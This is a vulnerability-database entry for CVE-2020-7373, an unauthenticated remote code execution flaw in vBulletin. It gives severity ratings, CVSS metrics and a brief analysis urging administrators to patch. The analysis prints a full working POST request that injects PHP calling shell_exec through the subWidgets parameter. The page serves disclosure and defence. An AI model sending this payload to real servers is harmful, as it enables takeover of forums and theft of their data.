Attacker Value
High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
1

CVE-2020-7373

Disclosure Date: October 30, 2020 •
CVE-2020-7373 CVSS v3 Base Score: 9.8
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759. ALSO NOTE: CVE-2020-7373 is a duplicate of CVE-2020-17496. CVE-2020-17496 is the preferred CVE ID to track this vulnerability.

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3
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Easy to weaponizeUnauthenticated
Technical Analysis

This vulnerable allows an unauthenticated attacker to run arbitrary PHP code or operating system commands on affected versions of the vBulletin web application. The vulnerability, which was also discovered by Zenofex, is identified as CVE-2020-7373 and is effectively a bypass for a previously patched vulnerability identified as CVE-2019-16759. Administrators running vBulletin should patch this one immediately.

Example POST request that would trigger the vulnerability:

POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: 192.168.249.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

subWidgets%5b0%5d%5btemplate%5d=widget_php&subWidgets%5b0%5d%5bconfig%5d%5bcode%5d=echo%20shell_exec%28base64_decode%28%27ZWNobyB3elV4d2VJag%3d%3d%27%29%29%3b%20exit%3b
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CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
n/a
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown

Vendors

  • vbulletin

Products

  • vbulletin
Technical Analysis